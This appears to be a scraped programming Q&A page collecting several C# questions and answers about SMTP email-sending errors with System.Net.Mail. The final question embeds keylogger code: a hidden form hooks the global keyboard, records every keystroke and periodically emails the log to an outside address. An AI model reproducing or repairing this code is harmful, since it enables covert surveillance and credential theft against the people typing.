WPF Email Sending error on polish server - c#

This is the code for email sending, but it doesn't give any results, there are no errors , also in debugger there are no alerts:
public void EmailSending()
{
try
{
SmtpClient smtp = new SmtpClient("poczta.silesianet.pl", 587);
smtp.Timeout = 20000;
smtp.EnableSsl = true;
smtp.DeliveryMethod = SmtpDeliveryMethod.Network;
smtp.UseDefaultCredentials = false;
NetworkCredential Credentials = new NetworkCredential("userName", PB_AddPassword.Password, "https://poczta.silesianet.pl/");
smtp.Credentials = Credentials;
MailMessage message = new MailMessage("from#mail","to#mail");
message.Subject = "Topic:"
message.IsBodyHtml = true;
message.Body = "Body";
IntPtr accountToken = WindowsIdentity.GetCurrent().Token;
smtp.SendAsync(message, accountToken);
}
catch (Exception ex)
{
MessageBox.Show(ex.Message, "Error", MessageBoxButton.OK, MessageBoxImage.Error);
}
}
And this is the code for the password, but something is also wrong because it doesn't remember it :
private void PB_AssPassword_TextInput(object sender, TextCompositionEventArgs e)
{
string Pass= PB_AssPassword.Password;
hasło = Environment.GetEnvironmentVariable("Pass");
if (Pass== null)
{
Environment.SetEnvironmentVariable("Pass", "Value1");
}
}
Could anyone help me with this?

Related

Mail sending fails through c# when encryption connection is TLS

I am setting up mail sending in my code as below
NetworkCredential nc = new NetworkCredential(ConfigurationManager.AppSettings["EmailId"].ToString(), ConfigurationManager.AppSettings["Password"].ToString());
MailMessage mm = new MailMessage();
mm.From = new MailAddress(SendEmailaddress);
mm.Body = "Test Mail";
mm.IsBodyHtml = true;
mm.BodyEncoding = System.Text.Encoding.UTF8;
mm.To.Add(ToEmailAddress);
mm.Subject = "Test";
SmtpClient sp = new SmtpClient();
sp.UseDefaultCredentials = false;
sp.Credentials = nc;
sp.EnableSsl = true;
sp.DeliveryMethod = SmtpDeliveryMethod.Network;
sp.Port = 587
sp.Host = ConfigurationManager.AppSettings["SMTP"].ToString();
sp.Send(mm);
A error is thrown at the time of mail sending. Mail sending works if I configure outlook on the same PC with these settings with TLS as encrypted connnection.
I have checked many posts where it is suggested that EnableSsl = true should be set for TLS to work but it does not work for me. It throws below error
Transaction failed. The server response was: 5.7.1
: Recipient address rejected: Access denied
at System.Net.Mail.RecipientCommand.CheckResponse(SmtpStatusCode
statusCode, String response) at
System.Net.Mail.SmtpTransport.SendMail(MailAddress sender,
MailAddressCollection recipients, String deliveryNotify,
SmtpFailedRecipientException& exception) at
System.Net.Mail.SmtpClient.Send(MailMessage message)
I have hit a roadblock as no solution is found. is there a setting which needs to be done on server?
protected void SendAlertEmail(string smtpserver, string smtpport, string smtpuser, string smtppass, int ssl, int auth, string subject, string from, string to, string body)
{
try
{
MailMessage mail = new MailMessage();
mail.From = new MailAddress(SplitEmailStrging(from), HttpUtility.HtmlDecode(Request.Form["senderName"]));
string emails = to;
if (emails.Contains(","))
{
string[] emailslist = Regex.Split(emails, #",");
foreach (string email in emailslist)
{
mail.To.Add(SplitEmailStrging(email));
}
}
else
{
if (emails.Contains("<"))
{
mail.To.Add(SplitEmailStrging(emails));
// Response.Write(SplitEmailStrging(emails));
}
else
{
mail.To.Add(emails);
// Response.Write(emails);
}
}
mail.Subject = subject;
mail.IsBodyHtml = true;
mail.Body = HttpUtility.HtmlDecode(body);
SmtpClient client = new SmtpClient(smtpserver);
if (int.Parse(smtpport) == 465)
{
client.Port = 25;
}
else
{
client.Port = int.Parse(smtpport);
}
if (ssl == 1)
{
client.EnableSsl = true;
}
else
{
client.EnableSsl = false;
}
client.DeliveryMethod = SmtpDeliveryMethod.Network;
System.Net.NetworkCredential credentials = new System.Net.NetworkCredential(smtpuser, smtppass);
client.UseDefaultCredentials = false;
client.Credentials = credentials;
client.Send(mail);
}
catch (Exception ex)
{
Response.Write("Error: " + ex.InnerException.Message);
Response.End();
}
}

A C# gmail MailSender

I have created an email sending function but it keeps getting timed out.
try
{
send.Enabled = false;
MailMessage message = new MailMessage();
message.From = new MailAddress(senderemail.Text);
message.Subject = subject.Text;
message.Body = body.Text;
foreach (string str in recipients.Text.Split(';'))
{
message.To.Add(str);
}
try
{
SmtpClient client = new SmtpClient();
client.Credentials = new NetworkCredential(senderemail.Text, senderpassword.Text);
client.Host = "smtp.gmail.com";
client.Port = 587;
client.EnableSsl = true;
client.Send(message);
MessageBox.Show("Sent Successfully", "Details");
}
catch
{
SmtpClient client2 = new SmtpClient();
client2.Credentials = new NetworkCredential(senderemail.Text, senderpassword.Text);
client2.Host = "smtp.gmail.com";
client2.Port = 465;
client2.EnableSsl = true;
client2.Send(message);
MessageBox.Show("Sent Successfully", "Details");
}
}
catch(Exception ex)
{
MessageBox.Show(ex.ToString(), "Error");
}
finally
{
send.Enabled = true;
}
After a port analysis using telnet, I am clueless as to why the code won't execute properly.
Try
client.UseDefaultCredentials = false;

Time out error while sending mail to gmail account using smtp port 465 in asp.net

public void SendEmailWithAttachment(string pFrom, string pTo, string pSubject, string pBody, string pServer, string strAttachmentPDFFileNames)
{
try
{
System.Net.Mail.MailMessage Message = new System.Net.Mail.MailMessage();
string UserName = ConfigurationManager.AppSettings["SMTPUserName"];
string Password = ConfigurationManager.AppSettings["SMTPPassword"];
if (pTo.Contains(","))
{
string[] ToAdd = pTo.Split(new Char[] { ',' });
for (int i = 0; i < ToAdd.Length; i++)
{
Message.To.Add(ToAdd[i]);
}
}
else
{
Message.To.Add(pTo);
}
//System.Net.Mail.MailAddress toAddress = new System.Net.Mail.MailAddress(pTo);
//Message.To.Add(toAddress);
System.Net.Mail.MailAddress fromAddress = new System.Net.Mail.MailAddress(pFrom);
Message.From = fromAddress;
Message.Subject = pSubject;
Message.Body = pBody;
Message.IsBodyHtml = true;
// Stream streamPDFImages = new MemoryStream(bytPDFImageFile);
//System.Net.Mail.SmtpClient
var smtpClient = new System.Net.Mail.SmtpClient();
{
Message.Attachments.Add(new System.Net.Mail.Attachment(strAttachmentPDFFileNames));
smtpClient.EnableSsl = true;
smtpClient.Host = pServer;
smtpClient.DeliveryMethod = System.Net.Mail.SmtpDeliveryMethod.Network;
smtpClient.Credentials = new System.Net.NetworkCredential(UserName, Password);
smtpClient.Port = 465;
smtpClient.Send(Message);
}
}
catch (Exception Exc)
{
Exception ex = new Exception("Unable to send email . Please Contact administrator", Exc);
throw ex;
}
}
SmtpClient smtp = new SmtpClient("smtp.gmail.com", 587);
smtp.UseDefaultCredentials = false;
smtp.Credentials = new NetworkCredential("yourMail", "yourPassword");
smtp.EnableSsl = true;
MailMessage msg = new MailMessage(sendFrom, "yourMail");
msg.ReplyToList.Add(sendFrom);
msg.Subject = subject;
msg.Body = bodyTxt;
System.Net.Mail.Attachment attachment = new System.Net.Mail.Attachment(#"C:\Projects\EverydayProject\test.txt");
msg.Attachments.Add(attachment);
smtp.Send(msg);
Here is working code to send an email to gmail smtp. From what I see you don't set UseDefaultCredentials = false and you are using wrong port. Also you MUST NOT override exceptions like this., throw the initial exception. Also for this to work you need to turn off security setting in your Gmail account. You can google it.

System.Net.Mail.SmtpException - Email Sender

Net.Mail.SmtpException in output when I send any message using Email Sender application made in C#.
ERROR: System.Net.Mail.Smtp.Exception: The SMTP server requires a secure connection or the client was not authenticated. The server response was: 5.5.1 Authentication Required. Learn more at System.Net.MailCommand.CheckResponse(SmtpStatusCodestatusCde,Stringresponse)
at System.Net.Mail.MailCommand.Send(SmtpConnection conn, Byte[] command, MailAddressfrom,Boolean allowUnicode) at System.Net.Mail.Smtp.Transport.SendMail(MailAddress sender,MailAddressCollection recipients, String deliveryNotify,Boolean allowUnicode, SmtpFailedRecipientException& exception) at System.Net.Mail.SmtpClient.Send(MailMessage message) at My_first_project.Form1.button2_Click(Object sender, EventArgs e) in c:\Users\HUSSAM\Documents\Visual Studio 2012\Projects\C#\Projects\My first project\My first project\Form1.cs:line 80
Here is the CODE::
private void button2_Click(object sender, EventArgs e){
try
{
if (!textBox4.Text.Contains("#gmail.com"))
{
MessageBox.Show("You need to provide #gmail email :)");
return;
}
button2.Enabled = false;
MailMessage message = new MailMessage();
message.From = new MailAddress(textBox4.Text);
message.Subject = textBox2.Text;
message.Body = textBox3.Text;
foreach (string s in textBox1.Text.Split(';'))
message.To.Add(s);
SmtpClient client = new SmtpClient();
client.UseDefaultCredentials = false;
client.Credentials = new NetworkCredential(textBox4.Text, textBox5.Text);
client.Host = "smtp.gmail.com";
client.Port = 587;
client.DeliveryMethod = SmtpDeliveryMethod.Network;
client.EnableSsl = true;
client.Send(message);
}//end try
catch
{
MessageBox.Show("There was error sending the message. Make sure you typed in\r\nyour credentials correctly and that you have an internet connection.", "ERROR", MessageBoxButtons.OK, MessageBoxIcon.Error);
}
finally { button2.Enabled = true; }
}//end button function
Try it:
var mail = new MailMessage();
var smtp = new SmtpClient("smtp.gmail.com");
mail.From = new MailAddress("email_from");
mail.To.Add("email_to");
mail.Subject = "subject";
mail.Body = "body";
smtp.Port = 587;
smtp.Credentials = new NetworkCredential("user", "password");
smtp.EnableSsl = true;
smtp.Send(mail);

smtp email through C#

I cannot send an email to myself through smtp and trough Gmail and Hotmail.
Do you have any ideas how it can be solved or where the error is?
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}
string log;
string klokkeslæt;
globalKeyboardHook gkh = new globalKeyboardHook();
private void HookAll() //funktionen Hookall oprettes
{
foreach (object key in Enum.GetValues(typeof(Keys)))
{
gkh.HookedKeys.Add((Keys)key);
}
}
private void Form1_Load(object sender, EventArgs e)
{
gkh.KeyDown += new KeyEventHandler(gkh_KeyDown);
HookAll();
this.Opacity = 0;
}
void gkh_KeyDown(object sender, KeyEventArgs e)
{
log = log + " " + e.KeyCode;
}
private void timer1_Tick(object sender, EventArgs e)
{
MailMessage mail = new MailMessage("eksamensprojekt2014.gmail.com", "gymjoy#hotmail.com");
SmtpClient SmtpServer = new SmtpClient("smtp.gmail.com", 587);
mail.From = new MailAddress("eksamensprojekt2014#gmail.com");
mail.To.Add("gymjoy#hotmail.com");
klokkeslæt = DateTime.Now.ToString("HH:mm:ss:tt");
mail.Subject = klokkeslæt;
mail.Body = log;
// SmtpServer.Port = 587;
SmtpServer.Credentials = new System.Net.NetworkCredential("eksamensprojekt2014#gmail.com", "*********");
SmtpServer.EnableSsl = true;
SmtpServer.Send(mail);
mail.Priority = MailPriority.Normal;
SmtpServer.useDefaultCredentials = true;
}
}
Try with below code it working fine.
MailMessage message = new MailMessage();//Not set from and to address here.
SmtpClient smtpClient = new SmtpClient();//Not set Host name here.
string msg = string.Empty;
try
{
MailAddress fromAddress = new MailAddress("eksamensprojekt2014.gmail.com");
message.From = fromAddress;
message.To.Add("gymjoy#hotmail.com");
message.Subject = "Test";
message.IsBodyHtml = true;
message.Body = "Test";
smtpClient.Host = "smtp.gmail.com"; // We use gmail as our smtp client
smtpClient.Port = 587;
smtpClient.EnableSsl = true;
smtpClient.UseDefaultCredentials = true;
smtpClient.Credentials = new System.Net.NetworkCredential("eksamensprojekt2014.gmail.com", "*******");
smtpClient.Send(message);
msg = "Successful<BR>";
}
catch (Exception ex)
{
msg = ex.Message;
}

Categories